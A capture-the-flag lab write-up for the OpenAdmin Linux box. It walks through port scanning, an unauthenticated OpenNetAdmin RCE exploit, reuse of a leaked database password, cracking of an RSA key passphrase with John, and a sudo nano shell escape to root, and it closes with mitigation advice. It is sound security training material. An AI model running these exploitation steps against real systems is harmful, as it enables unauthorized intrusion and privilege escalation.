Synopsis
OpenAdmin is a linear Linux box. A hidden OpenNetAdmin 18.1.1 instance has a public unauthenticated RCE. Its database config leaks a password reused for jimmy’s SSH. An internal web app has a hardcoded SHA-512 hash; cracking it unlocks a page serving joanna’s encrypted RSA key, whose passphrase is cracked with John. Root is a NOPASSWD sudo rule on nano, escaped via GTFOBins.
- IP:
10.10.10.171· Host:openadmin.htb
Recon
nmap -sC -sV -sT -Pn 10.10.10.171 -oA nmap-scan
# 22 ssh, 80 http (Apache 2.4.29, Ubuntu)
ffuf -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.171/FUZZ -mc 200,301,302,401
# artwork, music, sierra -> links lead to /ona/ (OpenNetAdmin 18.1.1)
Foothold — OpenNetAdmin 18.1.1 RCE
Version 18.1.1 has an unauthenticated command-injection RCE (EDB-47691):
./47691.sh http://10.10.10.171/ona/
$ whoami
www-data
The ONA database config leaks a password:
// /opt/ona/www/local/config/database_settings.inc.php
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
Lateral movement — jimmy → joanna
The password is reused for jimmy over SSH. jimmy owns an internal web app in /var/www/internal whose index.php holds a hardcoded SHA-512 hash — crack it to log into the internal portal (bound to 127.0.0.1:52846):
su - jimmy # n1nj4W4rri0R!
# crack the SHA-512 in /var/www/internal/index.php -> jimmy portal password
main.php in that portal prints joanna’s encrypted RSA private key. Crack its passphrase with John:
ssh2john joanna.key > joanna.hash
john --wordlist=rockyou.txt joanna.hash # passphrase: bloodninjas
chmod 600 joanna.key
ssh -i joanna.key joanna@10.10.10.171
cat user.txt # flag — redacted
Privilege escalation — sudo nano (GTFOBins)
joanna can run nano on a file as root with no password:
(ALL) NOPASSWD: /bin/nano /opt/priv
Use the GTFOBins nano escape to spawn a root shell:
sudo /bin/nano /opt/priv
# inside nano: ^R ^X
reset; sh 1>&0 2>&0
# id -> uid=0(root) -> cat /root/root.txt (flag — redacted)
Takeaways & mitigation
- Patch OpenNetAdmin — 18.1.1 has a public unauthenticated RCE.
- Never reuse DB passwords for OS accounts, or hardcode password hashes in source.
- A NOPASSWD sudo rule on an editor (nano/vim/less) is a trivial GTFOBins root — avoid editors in sudo rules entirely.